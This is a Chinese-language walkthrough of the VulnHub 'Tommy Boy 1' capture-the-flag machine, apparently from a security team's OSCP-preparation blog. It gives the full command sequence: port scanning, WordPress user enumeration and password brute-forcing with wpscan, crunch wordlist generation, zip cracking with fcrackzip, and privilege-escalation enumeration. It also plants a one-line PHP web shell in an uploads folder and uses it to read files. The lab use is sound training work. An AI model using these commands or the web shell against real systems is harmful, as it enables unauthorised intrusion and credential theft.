~ 十年寒窗无人问,一举成名天下知 ~
泷羽Sec安全团队,住各位师傅们过年快乐,在新的一年里万事如意!过年也得卷啊!
靶机描述:圣施耐克!汤米男孩需要您的帮助!卡拉汉汽车公司终于进入了现代技术领域,并建立了一个Web服务器供其客户订购刹车片。不幸的是,该站点刚刚瘫痪,唯一拥有管理员凭据的人是Tom Callahan Sr.-他刚刚去世!更糟糕的是,唯一一个了解服务器的人退出了!您需要帮助Tom Jr.,Richard和Michelle再次恢复该网页。否则,卡拉汉汽车公司肯定会倒闭:-( ----谷歌翻译 目标:找到六个flag
下载地址:https://www.vulnhub.com/entry/tommy-boy-1,157/
主机发现
arp-scan -l
端口扫描(SYN),对应的服务端口为22,80,8080(服务阻止了我们访问,KEEP OUT,应该是内网才能访问的)
nmap -sS 192.168.209.144 -p- -A -T4
访问80端口
目录扫描到的robots.txt文件
前三个都是图片
第四个是flag.txt,第一个flag找到了,B34rcl4ws
找了很多地方都没有突破口了,看来只能从首页的源码找突破口了
Nick的评论:备份副本在Big Tom的家目录中。
Richard的评论:你能也给我访问权限吗?只有Big Tom有密码。
Nick的评论:是的是的,我的处理器一次只能处理一个命令。
Richard的评论:请啦,我会好好请求的。
Nick的评论:我会给你设置管理员权限如果你告诉Tom不要再把重要信息存储在公司博客里。
Richard的评论:成交。公司博客地址是什么?
Nick的评论:真的假的?你们这些家伙真是没救了。我们把它藏在一个以你们和Tom Jr.大打出手后注意到的地方命名的文件夹里。你知道的,就是你用木板砸他脑袋的那个地方。如果你不记得了,地址在这里:https://www.youtube.com/watch?v=VUxOd4CszJ8
Richard的评论:啊!我怎么忘了呢?谢谢。
可以看到标题Hey Prehistoric Forest
访问试试,数据库连接错误,一般目录不会存在空格,所以我们尝试 /PrehistoricForest /Prehistoricforest /prehistoricForest
/prehistoricforest 四种写法,因为Linux是严格遵循大小写的,结果发现 /prehistoricforest 目录存在内容!而且是wordpress站点
发现可能存在的用户6个,利用wpscan枚举用户信息,并利用msf中的top1024密码字典进行后台爆破
wpscan --url http://10.10.10.192/prehistoricforest -e u -P /usr/share/wordlists/metasploit/burnett_top_1024.txt
tommy
richard
tom
Tom Jr.
Big Tom
michelle
密码没有找到嘞,giao,继续信息收集,wordpress版本为4.5.3版本
漏洞检索(没有结果)
那么只能手工注入了,sql注入测试
返回看第一篇文章,他说把站点目录切换到 /richard
这下面有一个开车的少年
下载下来后利用strings分析,包含了一段“xml”信息,有一个类似md5加密的密文
识别这个hash,可以看到就是md5
拿去解密https://www.somd5.com/,密码为:spanky
第二篇文章,需要我们输入密码,我们试试刚刚解出来的 spanky
密码正确的
看到下面这一段话
都总结一下吧
1、只有tom(大汤姆)有登录的密码
2、有一个 callahanbak.bak 的备份文件,需要你将其重命名为index.html
3、有一个ftp服务,放在一个大多数扫描器都扫不到的端口上,每过15分钟上线
4、nick重置了它的账号为,nickburns
再翻一翻,到最后一篇文章的评论,有一个thisisthesecondflagyayyou.txt
访问得到第二个flag,Z4l1nsky
8008端口,有一个密匙nick的超级密匙sup3rl33t
耐心等待一会儿,出现了一个65534端口
目前已知的密码,就是刚刚的md5还有8008的密匙,还有flag,每个都尝试一下,发现密码是同样用户名一样的,都是nick重置后的用户名
将这个readme下载下来
get readme.txt
大致就是告诉我们服务器上有一个子文件夹NickIzL33t
,还有一个encrypted.zip
文件
他还说要通过手机访问,那么是不是要添加一个ua头呢?打开hackbar添加ua头(iphone)如下
Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default
需要利用html后缀来攻破这个壁垒,利用目录扫描工具dirb和dirsearch,均没有任何东西
dirb http://10.10.10.192:8008/NickIzL33t/ -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'
dirsearch -u http://10.10.10.192:8008/NickIzL33t -H 'User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'
那么就利用wfuzz模糊测试工具,指定一个小型的字典以 fall 开头的字典,节省时间,实际情况我们是不清楚这个是以 fall 开头的
cat /usr/share/wordlists/rockyou.txt| grep fall > small_rockyou.txt
wfuzz -u http://10.10.10.192:8008/NickIzL33t/FUZZ.html -w small_rockyou.txt -H 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS...........
.8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default' --sc 200
成功扫描出来了一个html
第一个链接
第二个链接,找到第三个flag,TinyHead
第三个链接是一个zip文件,看样子需要我们根据第一个链接的提示猜测密码
原文翻译如下
大汤姆,你的密码库是用(是的,你猜对了)密码保护的!
因为你选择了像“passwordi23”和“brakepad”这样愚蠢的密码,我强制要求你使用新的密码。
13个字符,宝贝!
MUAHAHAHAHAH ! !
你的密码是
你妻子的昵称“bev”(注意全是小写的)加上以下内容:
一个大写字符,
两个数字,
两个小写字符,
一个符号
Tommy Boy 在剧院上映的年份
是的,胖子,要按的键很多,但要确保你把它们都打在一个大块上,好吗?
嘿,“大块”。
大块输入大块。
这是有趣的。
固定的信息找到了两个,devxxxxxx1995
那么使用kali下载下来(记得添加ua头)
wget http://10.10.10.192:8008/NickIzL33t/t0msp4ssw0rdz.zip --header='User-Agent:Mozilla/5.0 (iPhone; CPU iPhone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default'
接下来利用已知的密码信息,来生成密码字典
crunch 13 13 -t bev,%%@@^1995 > pass.txt
命令解释:
13 13
: 表示生成13个字符,如果是 7 13
那么就代表从7位数开始生成,一直生成到13位数完,也就是(7-13个字符)
-t
: template
的缩写,表示使用模板(模式)来生成密码。
bev,%%@@^1995
: 模板字符串含义如下
-
, 表示包含任意一个大写字母(A-Z) -
% 表示包含任意一个数字(0-9) -
^ 表示特殊字符 -
@ 表示任意的小写字母(a-z)
查看具体代表的字符,可以这样使用,只是用一个符号来利用
crunch 1 1 -t ,
# 输出结果
A
B
C
D
…
…
Y
Z
并利用这个字典进行爆破
fcrackzip -D -p pass.txt -u t0msp4ssw0rdz.zip
找到了zip的密码 bevH00tr$1995
unzip t0msp4ssw0rdz.zip
cat passwords.txt
这里有三个用户和密码信息(ssh鉴权失败),只能从网页上走了,但是3个用户都是失败的
BigTommyC : money
TomC : wedding
bigtommysenior : fatguyinalittlecoat
那么对密码字典进行一下赛选吧,那么多的大汤姆,就以tom进行赛选
cat /usr/share/wordlists/rockyou.txt| grep tom > tom_rockyou.txt
wpscan --url http://10.10.10.192/prehistoricforest -e u -P tom_rockyou.txt
此时就爆破成功了一个密码tom / tomtom1
,登录进去就行了
这里有人告诉我们后门遗忘的数字是 1938!! 所以我们将字符拼接到上面密码上,得到账号密码
我们利用这个新的到的账号密码再次尝试ssh登入
用户:bigtommysenior 密码:fatguyinalittlecoat1938!!
登录成功了,找到第四个flag,EditButton,并且提示我们第五个flag在 /5.txt中
www-data用户,那么思路就是要么直接提权到root用户,要么直接切换到www-data用户,再就是直接在网站中写入一个php马
系统信息收集,看看能不能直接内核提权
其他的一些信息收集
uname -a
cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息
ps -aux | grep mysql # 查看mysql是否在后台运行
netstat -tuln # 查看端口信息
当前目录下有一个zip文件需要我们解密,看向旁边有一个callahanbak.bak文件,这个不就是文章中所说的备份文件嘛,需要让我们修改成index.html就可以恢复正常
貌似没什么东西啊
转过来网站的配置文件,看到账号密码信息
wordpressuser
CaptainLimpWrist!!!
四个账号密码信息
richard : $P$BzW7ZDwxd7THv1D4rTANjGGgzV0XK9/
tommy : $P$BCcKbJIQtLuiBOybaQPkkfe1yYJRkn.
michelle : $P$BIEfXY1Li5aYTokSsi7pBgh0FTlO6k/
tom : $P$BmXAz/a8CaPZDNTraFb/g6kZeTpijK.
# 全部解密失败,得不到明文信息了
没有利用的了,这个时候看看能不能在网站目录下面写一个木马了
find / -name 'NickIzL33t' 2>/dev/null
cd /var/thatsg0nnaleaveamark/NickIzL33t
看到这个目录下面有一个当前用户可以写的目录
写入一句话木马
cd uploads/
echo "<?php @eval($_GET[pass]);?>" > cmd.php # 之后你可能会发现站点报内部错误,大概率是php禁用了eval函数
# 替换system就可以了
echo "<?php system($_GET[pass]);?>" > cmd.php
下载这个内容.5.txt文件,找到第五个flag :Buttcrack,最后一句话是说,对着所有的flag进行操作组合,即可解开loot.zip
文件
wget 'http://10.10.10.192:8008/NickIzL33t/P4TCH_4D4MS/uploads/cmd.php?pass=cat%20/.5.txt' --header="User-Agent:Mozilla/5.0 (iPhone; CPU iP
hone OS............8.0 main%2F1.0 baiduboxapp/13.40.0.10 (Baidu; P2 15.5) NABar/1.0 themeUA=Theme/default"
root@kali:/data/exp/demo# cat 'cmd.php?pass=cat %2F.5.txt'
FIFTH FLAG!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
YOU DID IT!!!!!!!!!!!!!!!!!!!!!!!!!!!!
OH RICHARD DON'T RUN AWAY FROM YOUR FEELINGS!!!!!!!!
Flag data: Buttcrack
Ok, so NOW what you do is take the flag data from each flag and blob it into one big chunk.
So for example, if flag 1 data was "hi" and flag 2 data was "there" and flag 3 data was "you"
you would create this blob:
hithereyou
Do this for ALL the flags sequentially, and this password will open the loot.zip in Big Tom's
folder and you can call the box PWNED.
第一个flag:B34rcl4ws
第二个flag:Z4l1nsky
第三个flag:TinyHead
第四个flag:EditButton
第五个flag:Buttcrack
组合:B34rcl4wsZ4l1nskyTinyHeadEditButtonButtcrack,这个时候就能找到最后一个内容flag啦(并没有提权奥,目标就是找到6个flag)
至此已经全部做完啦,oscp+认证之路,我们会一直陪着您,加油!
思路总结
1、通过端口扫描出来的信息,发现22和80还有8008端口的服务,其中80和8008端口是http服务,可以通过网页访问
2、然后通过80端口目录扫描出来的robots.txt文件,找到第一个flag
3、通过访问页面的源码和提示信息,开魔法访问网站,有一个标题,或者评论区找到信息,进行拼凑名称,最终发现一个prehistoricforest目录,这个目录呢是一个wordpress站点
4、通过阅读wordpress站点的文章,找到第二个flag,获取一个压缩文件,并且会告诉你这个压缩文件的一些密码提示
5、通过这些提示,用密码生成工具crunch
生成可能的用户密码,进行爆破,找到第3个flag
6、第四个flag需要使用wpscan
对wordpress站点进行爆破和用户枚举,登录到后台后,就能获得遗漏的密码提示(缺少的后缀信息),然后就能登录ssh获取第4个flag
7、第五个flag在第四个flag的提示中,在系统的根目录下面有一个.5.txt隐藏的txt文件,会发现他是www-data用户
8、通过对数据库密码进行一系列的猜测,最后发现一个uploads文件夹当前低权限用户可以写文件,此时写入一句话木马,并且这个一句话木马不能包含@eval,否则会内部错误,你访问不了网站,写入这个一句话马后就能获取到第五个flag
9、根据第五个flag的提示,将五个flag组合就是当前用户下的那个zip文件的密码,解压后,获取到最终flag。
原文始发于微信公众号(泷羽Sec):【oscp】超长攻击链,TommyBoy1dot0——过年快乐!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论